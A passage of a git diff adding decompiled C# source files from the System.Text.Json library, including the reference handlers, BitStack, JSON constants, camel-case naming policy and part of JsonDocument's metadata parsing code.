PreserveReferenceHandler(); + + public static ReferenceHandler IgnoreCycles { get; } = new IgnoreReferenceHandler(); + + public abstract ReferenceResolver CreateResolver(); + + internal virtual ReferenceResolver CreateResolver(bool writing) + { + return CreateResolver(); + } +} +public sealed class ReferenceHandler : ReferenceHandler where T : ReferenceResolver, new() +{ + public override ReferenceResolver CreateResolver() + { + return new T(); + } +} diff --git a/decompiled/Libraries/system.text.json/System.Text.Json.Serialization/ReferenceHandlingStrategy.cs b/decompiled/Libraries/system.text.json/System.Text.Json.Serialization/ReferenceHandlingStrategy.cs new file mode 100644 index 0000000..219f641 --- /dev/null +++ b/decompiled/Libraries/system.text.json/System.Text.Json.Serialization/ReferenceHandlingStrategy.cs @@ -0,0 +1,8 @@ +namespace System.Text.Json.Serialization; + +internal enum ReferenceHandlingStrategy +{ + None, + Preserve, + IgnoreCycles +} diff --git a/decompiled/Libraries/system.text.json/System.Text.Json.Serialization/ReferenceResolver.cs b/decompiled/Libraries/system.text.json/System.Text.Json.Serialization/ReferenceResolver.cs new file mode 100644 index 0000000..db42d61 --- /dev/null +++ b/decompiled/Libraries/system.text.json/System.Text.Json.Serialization/ReferenceResolver.cs @@ -0,0 +1,25 @@ +namespace System.Text.Json.Serialization; + +public abstract class ReferenceResolver +{ + public abstract void AddReference(string referenceId, object value); + + public abstract string GetReference(object value, out bool alreadyExists); + + public abstract object ResolveReference(string referenceId); + + internal virtual void PopReferenceForCycleDetection() + { + throw new InvalidOperationException(); + } + + internal virtual void PushReferenceForCycleDetection(object value) + { + throw new InvalidOperationException(); + } + + internal virtual bool ContainsReferenceForCycleDetection(object value) + { + throw new InvalidOperationException(); + } +} diff --git a/decompiled/Libraries/system.text.json/System.Text.Json/AppContextSwitchHelper.cs b/decompiled/Libraries/system.text.json/System.Text.Json/AppContextSwitchHelper.cs new file mode 100644 index 0000000..5dc24a5 --- /dev/null +++ b/decompiled/Libraries/system.text.json/System.Text.Json/AppContextSwitchHelper.cs @@ -0,0 +1,6 @@ +namespace System.Text.Json; + +internal static class AppContextSwitchHelper +{ + public static bool IsSourceGenReflectionFallbackEnabled { get; } = AppContext.TryGetSwitch("System.Text.Json.Serialization.EnableSourceGenReflectionFallback", out var isEnabled) && isEnabled; +} diff --git a/decompiled/Libraries/system.text.json/System.Text.Json/ArgumentState.cs b/decompiled/Libraries/system.text.json/System.Text.Json/ArgumentState.cs new file mode 100644 index 0000000..44be5f5 --- /dev/null +++ b/decompiled/Libraries/system.text.json/System.Text.Json/ArgumentState.cs @@ -0,0 +1,21 @@ +using System.Collections.Generic; +using System.Text.Json.Serialization.Metadata; + +namespace System.Text.Json; + +internal sealed class ArgumentState +{ + public object Arguments; + + public (JsonPropertyInfo, JsonReaderState, long, byte[], string)[] FoundProperties; + + public (JsonPropertyInfo, object, string)[] FoundPropertiesAsync; + + public int FoundPropertyCount; + + public JsonParameterInfo JsonParameterInfo; + + public int ParameterIndex; + + public List ParameterRefCache; +} diff --git a/decompiled/Libraries/system.text.json/System.Text.Json/Arguments.cs b/decompiled/Libraries/system.text.json/System.Text.Json/Arguments.cs new file mode 100644 index 0000000..48c4956 --- /dev/null +++ b/decompiled/Libraries/system.text.json/System.Text.Json/Arguments.cs @@ -0,0 +1,12 @@ +namespace System.Text.Json; + +internal sealed class Arguments +{ + public TArg0 Arg0; + + public TArg1 Arg1; + + public TArg2 Arg2; + + public TArg3 Arg3; +} diff --git a/decompiled/Libraries/system.text.json/System.Text.Json/BitStack.cs b/decompiled/Libraries/system.text.json/System.Text.Json/BitStack.cs new file mode 100644 index 0000000..997186f --- /dev/null +++ b/decompiled/Libraries/system.text.json/System.Text.Json/BitStack.cs @@ -0,0 +1,116 @@ +using System.Runtime.CompilerServices; + +namespace System.Text.Json; + +internal struct BitStack +{ + private const int AllocationFreeMaxDepth = 64; + + private const int DefaultInitialArraySize = 2; + + private int[] _array; + + private ulong _allocationFreeContainer; + + private int _currentDepth; + + public int CurrentDepth => _currentDepth; + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + public void PushTrue() + { + if (_currentDepth < 64) + { + _allocationFreeContainer = (_allocationFreeContainer << 1) | 1; + } + else + { + PushToArray(value: true); + } + _currentDepth++; + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + public void PushFalse() + { + if (_currentDepth < 64) + { + _allocationFreeContainer <<= 1; + } + else + { + PushToArray(value: false); + } + _currentDepth++; + } + + [MethodImpl(MethodImplOptions.NoInlining)] + private void PushToArray(bool value) + { + if (_array == null) + { + _array = new int[2]; + } + int number = _currentDepth - 64; + int remainder; + int num = Div32Rem(number, out remainder); + if (num >= _array.Length) + { + DoubleArray(num); + } + int num2 = _array[num]; + num2 = ((!value) ? (num2 & ~(1 << remainder)) : (num2 | (1 << remainder))); + _array[num] = num2; + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + public bool Pop() + { + _currentDepth--; + if (_currentDepth < 64) + { + _allocationFreeContainer >>= 1; + return (_allocationFreeContainer & 1) != 0; + } + if (_currentDepth == 64) + { + return (_allocationFreeContainer & 1) != 0; + } + return PopFromArray(); + } + + [MethodImpl(MethodImplOptions.NoInlining)] + private bool PopFromArray() + { + int number = _currentDepth - 64 - 1; + int remainder; + int num = Div32Rem(number, out remainder); + return (_array[num] & (1 << remainder)) != 0; + } + + private void DoubleArray(int minSize) + { + int newSize = Math.Max(minSize + 1, _array.Length * 2); + Array.Resize(ref _array, newSize); + } + + public void SetFirstBit() + { + _currentDepth++; + _allocationFreeContainer = 1uL; + } + + public void ResetFirstBit() + { + _currentDepth++; + _allocationFreeContainer = 0uL; + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + private static int Div32Rem(int number, out int remainder) + { + uint result = (uint)number / 32u; + remainder = number & 0x1F; + return (int)result; + } +} diff --git a/decompiled/Libraries/system.text.json/System.Text.Json/ConsumeNumberResult.cs b/decompiled/Libraries/system.text.json/System.Text.Json/ConsumeNumberResult.cs new file mode 100644 index 0000000..bbd4dce --- /dev/null +++ b/decompiled/Libraries/system.text.json/System.Text.Json/ConsumeNumberResult.cs @@ -0,0 +1,8 @@ +namespace System.Text.Json; + +internal enum ConsumeNumberResult : byte +{ + Success, + OperationIncomplete, + NeedMoreData +} diff --git a/decompiled/Libraries/system.text.json/System.Text.Json/ConsumeTokenResult.cs b/decompiled/Libraries/system.text.json/System.Text.Json/ConsumeTokenResult.cs new file mode 100644 index 0000000..181bae4 --- /dev/null +++ b/decompiled/Libraries/system.text.json/System.Text.Json/ConsumeTokenResult.cs @@ -0,0 +1,8 @@ +namespace System.Text.Json; + +internal enum ConsumeTokenResult : byte +{ + Success, + NotEnoughDataRollBackState, + IncompleteNoRollBackNecessary +} diff --git a/decompiled/Libraries/system.text.json/System.Text.Json/ConverterStrategy.cs b/decompiled/Libraries/system.text.json/System.Text.Json/ConverterStrategy.cs new file mode 100644 index 0000000..98703fa --- /dev/null +++ b/decompiled/Libraries/system.text.json/System.Text.Json/ConverterStrategy.cs @@ -0,0 +1,10 @@ +namespace System.Text.Json; + +internal enum ConverterStrategy : byte +{ + None = 0, + Object = 1, + Value = 2, + Enumerable = 8, + Dictionary = 0x10 +} diff --git a/decompiled/Libraries/system.text.json/System.Text.Json/DataType.cs b/decompiled/Libraries/system.text.json/System.Text.Json/DataType.cs new file mode 100644 index 0000000..262d1cd --- /dev/null +++ b/decompiled/Libraries/system.text.json/System.Text.Json/DataType.cs @@ -0,0 +1,14 @@ +namespace System.Text.Json; + +internal enum DataType +{ + Boolean, + DateOnly, + DateTime, + DateTimeOffset, + TimeOnly, + TimeSpan, + Base64String, + Guid, + Version +} diff --git a/decompiled/Libraries/system.text.json/System.Text.Json/ExceptionResource.cs b/decompiled/Libraries/system.text.json/System.Text.Json/ExceptionResource.cs new file mode 100644 index 0000000..ba2f473 --- /dev/null +++ b/decompiled/Libraries/system.text.json/System.Text.Json/ExceptionResource.cs @@ -0,0 +1,46 @@ +namespace System.Text.Json; + +internal enum ExceptionResource +{ + ArrayDepthTooLarge, + EndOfCommentNotFound, + EndOfStringNotFound, + RequiredDigitNotFoundAfterDecimal, + RequiredDigitNotFoundAfterSign, + RequiredDigitNotFoundEndOfData, + ExpectedEndAfterSingleJson, + ExpectedEndOfDigitNotFound, + ExpectedFalse, + ExpectedNextDigitEValueNotFound, + ExpectedNull, + ExpectedSeparatorAfterPropertyNameNotFound, + ExpectedStartOfPropertyNotFound, + ExpectedStartOfPropertyOrValueNotFound, + ExpectedStartOfPropertyOrValueAfterComment, + ExpectedStartOfValueNotFound, + ExpectedTrue, + ExpectedValueAfterPropertyNameNotFound, + FoundInvalidCharacter, + InvalidCharacterWithinString, + InvalidCharacterAfterEscapeWithinString, + InvalidHexCharacterWithinString, + InvalidEndOfJsonNonPrimitive, + MismatchedObjectArray, + ObjectDepthTooLarge, + ZeroDepthAtEnd, + DepthTooLarge, + CannotStartObjectArrayWithoutProperty, + CannotStartObjectArrayAfterPrimitiveOrClose, + CannotWriteValueWithinObject, + CannotWriteValueAfterPrimitiveOrClose, + CannotWritePropertyWithinArray, + ExpectedJsonTokens, + TrailingCommaNotAllowedBeforeArrayEnd, + TrailingCommaNotAllowedBeforeObjectEnd, + InvalidCharacterAtStartOfComment, + UnexpectedEndOfDataWhileReadingComment, + UnexpectedEndOfLineSeparator, + ExpectedOneCompleteToken, + NotEnoughData, + InvalidLeadingZeroInNumber +} diff --git a/decompiled/Libraries/system.text.json/System.Text.Json/JsonCamelCaseNamingPolicy.cs b/decompiled/Libraries/system.text.json/System.Text.Json/JsonCamelCaseNamingPolicy.cs new file mode 100644 index 0000000..2018a8a --- /dev/null +++ b/decompiled/Libraries/system.text.json/System.Text.Json/JsonCamelCaseNamingPolicy.cs @@ -0,0 +1,32 @@ +namespace System.Text.Json; + +internal sealed class JsonCamelCaseNamingPolicy : JsonNamingPolicy +{ + public override string ConvertName(string name) + { + if (string.IsNullOrEmpty(name) || !char.IsUpper(name[0])) + { + return name; + } + char[] array = name.ToCharArray(); + FixCasing(array); + return new string(array); + } + + private static void FixCasing(Span chars) + { + for (int i = 0; i < chars.Length && (i != 1 || char.IsUpper(chars[i])); i++) + { + bool flag = i + 1 < chars.Length; + if (i > 0 && flag && !char.IsUpper(chars[i + 1])) + { + if (chars[i + 1] == ' ') + { + chars[i] = char.ToLowerInvariant(chars[i]); + } + break; + } + chars[i] = char.ToLowerInvariant(chars[i]); + } + } +} diff --git a/decompiled/Libraries/system.text.json/System.Text.Json/JsonCommentHandling.cs b/decompiled/Libraries/system.text.json/System.Text.Json/JsonCommentHandling.cs new file mode 100644 index 0000000..7a0d1fe --- /dev/null +++ b/decompiled/Libraries/system.text.json/System.Text.Json/JsonCommentHandling.cs @@ -0,0 +1,8 @@ +namespace System.Text.Json; + +public enum JsonCommentHandling : byte +{ + Disallow, + Skip, + Allow +} diff --git a/decompiled/Libraries/system.text.json/System.Text.Json/JsonConstants.cs b/decompiled/Libraries/system.text.json/System.Text.Json/JsonConstants.cs new file mode 100644 index 0000000..05a4d10 --- /dev/null +++ b/decompiled/Libraries/system.text.json/System.Text.Json/JsonConstants.cs @@ -0,0 +1,152 @@ +namespace System.Text.Json; + +internal static class JsonConstants +{ + public const string DoubleFormatString = "G17"; + + public const string SingleFormatString = "G9"; + + public const int StackallocByteThreshold = 256; + + public const int StackallocCharThreshold = 128; + + public const byte OpenBrace = 123; + + public const byte CloseBrace = 125; + + public const byte OpenBracket = 91; + + public const byte CloseBracket = 93; + + public const byte Space = 32; + + public const byte CarriageReturn = 13; + + public const byte LineFeed = 10; + + public const byte Tab = 9; + + public const byte ListSeparator = 44; + + public const byte KeyValueSeparator = 58; + + public const byte Quote = 34; + + public const byte BackSlash = 92; + + public const byte Slash = 47; + + public const byte BackSpace = 8; + + public const byte FormFeed = 12; + + public const byte Asterisk = 42; + + public const byte Colon = 58; + + public const byte Period = 46; + + public const byte Plus = 43; + + public const byte Hyphen = 45; + + public const byte UtcOffsetToken = 90; + + public const byte TimePrefix = 84; + + public const byte StartingByteOfNonStandardSeparator = 226; + + public const int SpacesPerIndent = 2; + + public const int RemoveFlagsBitMask = int.MaxValue; + + public const int MaxExpansionFactorWhileEscaping = 6; + + public const int MaxExpansionFactorWhileTranscoding = 3; + + public const long ArrayPoolMaxSizeBeforeUsingNormalAlloc = 1048576L; + + public const int MaxUtf16RawValueLength = 715827882; + + public const int MaxEscapedTokenSize = 1000000000; + + public const int MaxUnescapedTokenSize = 166666666; + + public const int MaxCharacterTokenSize = 166666666; + + public const int MaximumFormatBooleanLength = 5; + + public const int MaximumFormatInt64Length = 20; + + public const int MaximumFormatUInt64Length = 20; + + public const int MaximumFormatDoubleLength = 128; + + public const int MaximumFormatSingleLength = 128; + + public const int MaximumFormatDecimalLength = 31; + + public const int MaximumFormatGuidLength = 36; + + public const int MaximumEscapedGuidLength = 216; + + public const int MaximumFormatDateTimeLength = 27; + + public const int MaximumFormatDateTimeOffsetLength = 33; + + public const int MaxDateTimeUtcOffsetHours = 14; + + public const int DateTimeNumFractionDigits = 7; + + public const int MaxDateTimeFraction = 9999999; + + public const int DateTimeParseNumFractionDigits = 16; + + public const int MaximumDateTimeOffsetParseLength = 42; + + public const int MinimumDateTimeParseLength = 10; + + public const int MaximumEscapedDateTimeOffsetParseLength = 252; + + public const int MaximumLiteralLength = 5; + + public const char HighSurrogateStart = '\ud800'; + + public const char HighSurrogateEnd = '\udbff'; + + public const char LowSurrogateStart = '\udc00'; + + public const char LowSurrogateEnd = '\udfff'; + + public const int UnicodePlane01StartValue = 65536; + + public const int HighSurrogateStartValue = 55296; + + public const int HighSurrogateEndValue = 56319; + + public const int LowSurrogateStartValue = 56320; + + public const int LowSurrogateEndValue = 57343; + + public const int BitShiftBy10 = 1024; + + public const int UnboxedParameterCountThreshold = 4; + + public static ReadOnlySpan Utf8Bom => "\ufeff"u8; + + public static ReadOnlySpan TrueValue => "true"u8; + + public static ReadOnlySpan FalseValue => "false"u8; + + public static ReadOnlySpan NullValue => "null"u8; + + public static ReadOnlySpan NaNValue => "NaN"u8; + + public static ReadOnlySpan PositiveInfinityValue => "Infinity"u8; + + public static ReadOnlySpan NegativeInfinityValue => "-Infinity"u8; + + public static ReadOnlySpan Delimiters => ",}] \n\r\t/"u8; + + public static ReadOnlySpan EscapableChars => "\"nrt/ubf"u8; +} diff --git a/decompiled/Libraries/system.text.json/System.Text.Json/JsonDocument.cs b/decompiled/Libraries/system.text.json/System.Text.Json/JsonDocument.cs new file mode 100644 index 0000000..1a2624d --- /dev/null +++ b/decompiled/Libraries/system.text.json/System.Text.Json/JsonDocument.cs @@ -0,0 +1,1676 @@ +using System.Buffers; +using System.Buffers.Text; +using System.Diagnostics; +using System.Diagnostics.CodeAnalysis; +using System.IO; +using System.Runtime.InteropServices; +using System.Threading; +using System.Threading.Tasks; + +namespace System.Text.Json; + +public sealed class JsonDocument : IDisposable +{ + internal readonly struct DbRow + { + internal const int Size = 12; + + private readonly int _location; + + private readonly int _sizeOrLengthUnion; + + private readonly int _numberOfRowsAndTypeUnion; + + internal const int UnknownSize = -1; + + internal int Location => _location; + + internal int SizeOrLength => _sizeOrLengthUnion & 0x7FFFFFFF; + + internal bool IsUnknownSize => _sizeOrLengthUnion == -1; + + internal bool HasComplexChildren => _sizeOrLengthUnion < 0; + + internal int NumberOfRows => _numberOfRowsAndTypeUnion & 0xFFFFFFF; + + internal JsonTokenType TokenType => (JsonTokenType)((uint)_numberOfRowsAndTypeUnion >> 28); + + internal bool IsSimpleValue => (int)TokenType >= 5; + + internal DbRow(JsonTokenType jsonTokenType, int location, int sizeOrLength) + { + _location = location; + _sizeOrLengthUnion = sizeOrLength; + _numberOfRowsAndTypeUnion = (int)((uint)jsonTokenType << 28); + } + } + + private struct MetadataDb : IDisposable + { + private const int SizeOrLengthOffset = 4; + + private const int NumberOfRowsOffset = 8; + + private byte[] _data; + + private bool _convertToAlloc; + + private bool _isLocked; + + internal int Length { get; private set; } + + private MetadataDb(byte[] initialDb, bool isLocked, bool convertToAlloc) + { + _data = initialDb; + _isLocked = isLocked; + _convertToAlloc = convertToAlloc; + Length = 0; + } + + internal MetadataDb(byte[] completeDb) + { + _data = completeDb; + _isLocked = true; + _convertToAlloc = false; + Length = completeDb.Length; + } + + internal static MetadataDb CreateRented(int payloadLength, bool convertToAlloc) + { + int num = payloadLength + 12; + if (num > 1048576 && num <= 4194304) + { + num = 1048576; + } + byte[] initialDb = ArrayPool.Shared.Rent(num); + return new MetadataDb(initialDb, isLocked: false, convertToAlloc); + } + + internal static MetadataDb CreateLocked(int payloadLength) + { + int num = payloadLength + 12; + byte[] initialDb = new byte[num]; + return new MetadataDb(initialDb, isLocked: true, convertToAlloc: false); + } + + public void Dispose() + { + byte[] array = Interlocked.Exchange(ref _data, null); + if (array != null) + { + ArrayPool.Shared.Return(array); + Length = 0; + } + } + + internal void CompleteAllocations() + { + if (_isLocked) + { + return; + } + if (_convertToAlloc) + { + byte[] data = _data; + _data = _data.AsSpan(0, Length).ToArray(); + _isLocked = true; + _convertToAlloc = false; + ArrayPool.Shared.Return(data); + } + else if (Length <= _data.Length / 2) + { + byte[] array = ArrayPool.Shared.Rent(Length); + byte[] array2 = array; + if (array.Length < _data.Length) + { + Buffer.BlockCopy(_data, 0, array, 0, Length); + array2 = _data; + _data = array; + } + ArrayPool.Shared.Return(array2); + } + } + + internal void Append(JsonTokenType tokenType, int startLocation, int length) + { + if (Length >= _data.Length - 12) + { + Enlarge(); + } + DbRow value = new DbRow(tokenType, startLocation, length); + MemoryMarshal.Write(_data.AsSpan(Length), in value); + Length += 12; + } + + private void Enlarge() + { + byte[] data = _data; + int num = data.Length * 2; + if ((uint)num > 2147483591u) + { + num = 2147483591; + } + if (num == data.Length) + { + num = int.MaxValue; + } + _data = ArrayPool.Shared.Rent(num); + Buffer.BlockCopy(data, 0, _data, 0, data.Length); + ArrayPool.Shared.Return(data); + } + + [Conditional("DEBUG")] + private void AssertValidIndex(int index) + { + } + + internal void SetLength(int index, int length) + { + Span destination = _data.AsSpan(index + 4); + MemoryMarshal.Write(destination, in length); + } + + internal void SetNumberOfRows(int index, int numberOfRows) + { + Span span = _data.AsSpan(index + 8); + int num = MemoryMarshal.Read(span); + MemoryMarshal.Write(span, (num & -268435456) | numberOfRows); + } + + internal void SetHasComplexChildren(int index) + { + Span span = _data.AsSpan(index + 4); + int num = MemoryMarshal.Read(span); + MemoryMarshal.Write(span, num | int.MinValue); + } + + internal int FindIndexOfFirstUnsetSizeOrLength(JsonTokenType lookupType) + { + return FindOpenElement(lookupType); + } + + private int FindOpenElement(JsonTokenType lookupType) + { + Span span = _data.AsSpan(0, Length); + for (int num = Length - 12; num >= 0; num -= 12) + { + DbRow dbRow = MemoryMarshal.Read(span.Slice(num)); + if (dbRow.IsUnknownSize && dbRow.TokenType == lookupType) + { + return num; + } + } + return -1; + } + + internal DbRow Get(int index) + { + return MemoryMarshal.Read(_data.AsSpan(index)); + } + + internal JsonTokenType GetJsonTokenType(int index) + { + uint num = MemoryMarshal.Read(_data.AsSpan(index + 8)); + return (JsonTokenType)(num >> 28); + } + + internal MetadataDb CopySegment(int startIndex, int endIndex) + { + DbRow dbRow = Get(startIndex); + int num = endIndex - startIndex; + byte[] array = new byte[num]; + _data.AsSpan(startIndex, num).CopyTo(array); + Span span = MemoryMarshal.Cast((Span)array); + int num2 = span[0]; + if (dbRow.TokenType == JsonTokenType.String) + { + num2--; + } + for (int num3 = (num - 12) / 4; num3 >= 0; num3 -= 3) + { + span[num3] -= num2; + } + return new MetadataDb(array); + } + } + + private readonly struct StackRow + { + internal const int Size = 8; + + internal readonly int SizeOrLength; + + internal readonly int NumberOfRows; + + internal StackRow(int sizeOrLength = 0, int numberOfRows = -1) + { + SizeOrLength = sizeOrLength; + NumberOfRows = numberOfRows; + } + } + + private struct StackRowStack(int initialSize) : IDisposable + { + private byte[] _rentedBuffer = ArrayPool.Shared.Rent(initialSize); + + private int _topOfStack = _rentedBuffer.Length; + + public void Dispose() + { + byte[] rentedBuffer = _rentedBuffer; + _rentedBuffer = null; + _topOfStack = 0; + if (rentedBuffer != null) + { + ArrayPool.Shared.Return(rentedBuffer); + } + } + + internal void Push(StackRow row) + { + if (_topOfStack < 8) + { + Enlarge(); + } + _topOfStack -= 8; + MemoryMarshal.Write(_rentedBuffer.AsSpan(_topOfStack), in row); + } + + internal StackRow Pop() + { + StackRow result = MemoryMarshal.Read(_rentedBuffer.AsSpan(_topOfStack)); + _topOfStack += 8; + return result; + } + + private void Enlarge() + { + byte[] rentedBuffer = _rentedBuffer; + _rentedBuffer = ArrayPool.Shared.Rent(rentedBuffer.Length * 2); + Buffer.BlockCopy(rentedBuffer, _topOfStack, _rentedBuffer, _rentedBuffer.Length - rentedBuffer.Length + _topOfStack, rentedBuffer.Length - _topOfStack); + _topOfStack += _rentedBuffer.Length - rentedBuffer.Length; + ArrayPool.Shared.Return(rentedBuffer); + } + } + + private ReadOnlyMemory _utf8Json; + + private MetadataDb _parsedData; + + private byte[] _extraRentedArrayPoolBytes; + + private PooledByteBufferWriter _extraPooledByteBufferWriter; + + private static JsonDocument s_nullLiteral; + + private static JsonDocument s_trueLiteral; + + private static JsonDocument s_falseLiteral; + + private const int UnseekableStreamInitialRentSize = 4096; + + internal bool IsDisposable { get; } + + public JsonElement RootElement => new JsonElement(this, 0); + + private JsonDocument(ReadOnlyMemory utf8Json, MetadataDb parsedData, byte[] extraRentedArrayPoolBytes = null, PooledByteBufferWriter extraPooledByteBufferWriter = null, bool isDisposable = true) + { + _utf8Json = utf8Json; + _parsedData = parsedData; + _extraRentedArrayPoolBytes = extraRentedArrayPoolBytes; + _extraPooledByteBufferWriter = extraPooledByteBufferWriter; + IsDisposable = isDisposable; + } + + public void Dispose() + { + int length = _utf8Json.Length; + if (length == 0 || !IsDisposable) + { + return; + } + _parsedData.Dispose(); + _utf8Json = ReadOnlyMemory.Empty; + if (_extraRentedArrayPoolBytes != null) + { + byte[] array = Interlocked.Exchange(ref _extraRentedArrayPoolBytes, null); + if (array != null) + { + array.AsSpan(0, length).Clear(); + ArrayPool.Shared.Return(array); + } + } + else if (_extraPooledByteBufferWriter != null) + { + Interlocked.Exchange(ref _extraPooledByteBufferWriter, null)?.Dispose(); + } + } + + public void WriteTo(Utf8JsonWriter writer) + { + if (writer == null) + { + ThrowHelper.ThrowArgumentNullException("writer"); + } + RootElement.WriteTo(writer); + } + + internal JsonTokenType GetJsonTokenType(int index) + { + CheckNotDisposed(); + return _parsedData.GetJsonTokenType(index); + } + + internal int GetArrayLength(int index) + { + CheckNotDisposed(); + DbRow dbRow = _parsedData.Get(index); + CheckExpectedType(JsonTokenType.StartArray, dbRow.TokenType); + return dbRow.SizeOrLength; + } + + internal JsonElement GetArrayIndexElement(int currentIndex, int arrayIndex) + { + CheckNotDisposed(); + DbRow dbRow = _parsedData.Get(currentIndex); + CheckExpectedType(JsonTokenType.StartArray, dbRow.TokenType); + int sizeOrLength = dbRow.SizeOrLength; + if ((uint)arrayIndex >= (uint)sizeOrLength) + { + throw new IndexOutOfRangeException(); + } + if (!dbRow.HasComplexChildren) + { + return new JsonElement(this, currentIndex + (arrayIndex + 1) * 12); + } + int num = 0; + for (int i = currentIndex + 12; i < _parsedData.Length; i += 12) + { + if (arrayIndex == num) + { + return new JsonElement(this, i); + } + dbRow = _parsedData.Get(i); + if (!dbRow.IsSimpleValue) + { + i += 12 * dbRow.NumberOfRows; + } + num++; + } + throw new IndexOutOfRangeException(); + } + + internal int GetEndIndex(int index, bool includeEndElement) + { + CheckNotDisposed(); + DbRow dbRow = _parsedData.Get(index); + if (dbRow.IsSimpleValue) + { + return index + 12; + } + int num = index + 12 * dbRow.NumberOfRows; + if (includeEndElement) + { + num += 12; + } + return num; + } + + internal ReadOnlyMemory GetRootRawValue() + { + return GetRawValue(0, includeQuotes: true); + } + + internal ReadOnlyMemory GetRawValue(int index, bool includeQuotes) + { + CheckNotDisposed(); + DbRow dbRow = _parsedData.Get(index); + if (dbRow.IsSimpleValue) + { + if (includeQuotes && dbRow.TokenType == JsonTokenType.String) + { + return _utf8Json.Slice(dbRow.Location - 1, dbRow.SizeOrLength + 2); + } + return _utf8Json.Slice(dbRow.Location, dbRow.SizeOrLength); + } + int endIndex = GetEndIndex(index, includeEndElement: false); + int location = dbRow.Location; + dbRow = _parsedData.Get(endIndex); + return _utf8Json.Slice(location, dbRow.Location - location + dbRow.SizeOrLength); + } + + private ReadOnlyMemory GetPropertyRawValue(int valueIndex) + { + CheckNotDisposed(); + int num = _parsedData.Get(valueIndex - 12).Location - 1; + DbRow dbRow = _parsedData.Get(valueIndex); + int num2; + if (dbRow.IsSimpleValue) + { + num2 = dbRow.Location + dbRow.SizeOrLength; + if (dbRow.TokenType == JsonTokenType.String) + { + num2++; + } + return _utf8Json.Slice(num, num2 - num); + } + int endIndex = GetEndIndex(valueIndex, includeEndElement: false); + dbRow = _parsedData.Get(endIndex); + num2 = dbRow.Location + dbRow.SizeOrLength; + return _utf8Json.Slice(num, num2 - num); + } + + internal string GetString(int index, JsonTokenType expectedType) + { + CheckNotDisposed(); + DbRow dbRow = _parsedData.Get(index); + JsonTokenType tokenType = dbRow.TokenType; + if (tokenType == JsonTokenType.Null) + { + return null; + } + CheckExpectedType(expectedType, tokenType); + ReadOnlySpan readOnlySpan = _utf8Json.Span.Slice(dbRow.Location, dbRow.SizeOrLength); + if (!dbRow.HasComplexChildren) + { + return JsonReaderHelper.TranscodeHelper(readOnlySpan); + } + return JsonReaderHelper.GetUnescapedString(readOnlySpan); + } + + internal bool TextEquals(int index, ReadOnlySpan otherText, bool isPropertyName) + { + CheckNotDisposed(); + byte[] array = null; + int num = checked(otherText.Length * 3); + Span span = ((num > 256) ? ((Span)(array = ArrayPool.Shared.Rent(num))) : stackalloc byte[256]); + Span destination = span; + int written; + OperationStatus operationStatus = JsonWriterHelper.ToUtf8(otherText, destination, out written); + bool result = operationStatus != OperationStatus.InvalidData && TextEquals(index, destination.Slice(0, written), isPropertyName, shouldUnescape: true); + if (array != null) + { + destination.Slice(0, written).Clear(); + ArrayPool.Shared.Return(array); + } + return result; + } + + internal bool TextEquals(int index, ReadOnlySpan otherUtf8Text, bool isPropertyName, bool shouldUnescape) + { + CheckNotDisposed(); + int index2 = (isPropertyName ? (index - 12) : index); + DbRow dbRow = _parsedData.Get(index2); + CheckExpectedType(isPropertyName ? JsonTokenType.PropertyName : JsonTokenType.String, dbRow.TokenType); + ReadOnlySpan span = _utf8Json.Span.Slice(dbRow.Location, dbRow.SizeOrLength); + if (otherUtf8Text.Length > span.Length || (!shouldUnescape && otherUtf8Text.Length != span.Length)) + { + return false; + } + if (dbRow.HasComplexChildren && shouldUnescape) + { + if (otherUtf8Text.Length < span.Length / 6) + { + return false; + } + int num = span.IndexOf((byte)92); + if (!otherUtf8Text.StartsWith(span.Slice(0, num))) + { + return false; + } + return JsonReaderHelper.UnescapeAndCompare(span.Slice(num), otherUtf8Text.Slice(num)); + } + return span.SequenceEqual(otherUtf8Text); + } + + internal string GetNameOfPropertyValue(int index) + { + return GetString(index - 12, JsonTokenType.PropertyName); + } + + internal bool TryGetValue(int index, [NotNullWhen(true)] out byte[] value) + { + CheckNotDisposed(); + DbRow dbRow = _parsedData.Get(index); + CheckExpectedType(JsonTokenType.String, dbRow.TokenType); + ReadOnlySpan readOnlySpan = _utf8Json.Span.Slice(dbRow.Location, dbRow.SizeOrLength); + if (dbRow.HasComplexChildren) + { + return JsonReaderHelper.TryGetUnescapedBase64Bytes(readOnlySpan, out value); + } + return JsonReaderHelper.TryDecodeBase64(readOnlySpan, out value); + } + + internal bool TryGetValue(int index, out sbyte value) + { + CheckNotDisposed(); + DbRow dbRow = _parsedData.Get(index); + CheckExpectedType(JsonTokenType.Number, dbRow.TokenType); + ReadOnlySpan source = _utf8Json.Span.Slice(dbRow.Location, dbRow.SizeOrLength); + if (Utf8Parser.TryParse(source, out sbyte value2, out int bytesConsumed, '\0') && bytesConsumed == source.Length) + { + value = value2; + return true; + } + value = 0; + return false; + } + + internal bool TryGetValue(int index, out byte value) + { + CheckNotDisposed(); + DbRow dbRow = _parsedData.Get(index); + CheckExpectedType(JsonTokenType.Number, dbRow.TokenType); + ReadOnlySpan source = _utf8Json.Span.Slice(dbRow.Location, dbRow.SizeOrLength); + if (Utf8Parser.TryParse(source, out byte value2, out int bytesConsumed, '\0') && bytesConsumed == source.Length) + { + value = value2; + return true; + } + value = 0; + return false; + } + + internal bool TryGetValue(int index, out short value) + { + CheckNotDisposed(); + DbRow dbRow = _parsedData.Get(index); + CheckExpectedType(JsonTokenType.Number, dbRow.TokenType); + ReadOnlySpan source = _utf8Json.Span.Slice(dbRow.Location, dbRow.SizeOrLength); + if (Utf8Parser.TryParse(source, out short value2, out int bytesConsumed, '\0') && bytesConsumed == source.Length) + { + value = value2; + return true; + } + value = 0; + return false; + } + + internal bool TryGetValue(int index, out ushort value) + { + CheckNotDisposed(); + DbRow dbRow = _parsedData.Get(index); + CheckExpectedType(JsonTokenType.Number, dbRow.TokenType); + ReadOnlySpan source = _utf8Json.Span.Slice(dbRow.Location, dbRow.SizeOrLength); + if (Utf8Parser.TryParse(source, out ushort value2, out int bytesConsumed, '\0') && bytesConsumed == source.Length) + { + value = value2; + return true; + } + value = 0; + return false; + } + + internal bool TryGetValue(int index, out int value) + { + CheckNotDisposed(); + DbRow dbRow = _parsedData.Get(index); + CheckExpectedType(JsonTokenType.Number, dbRow.TokenType); + ReadOnlySpan source = _utf8Json.Span.Slice(dbRow.Location, dbRow.SizeOrLength); + if (Utf8Parser.TryParse(source, out int value2, out int bytesConsumed, '\0') && bytesConsumed == source.Length) + { + value = 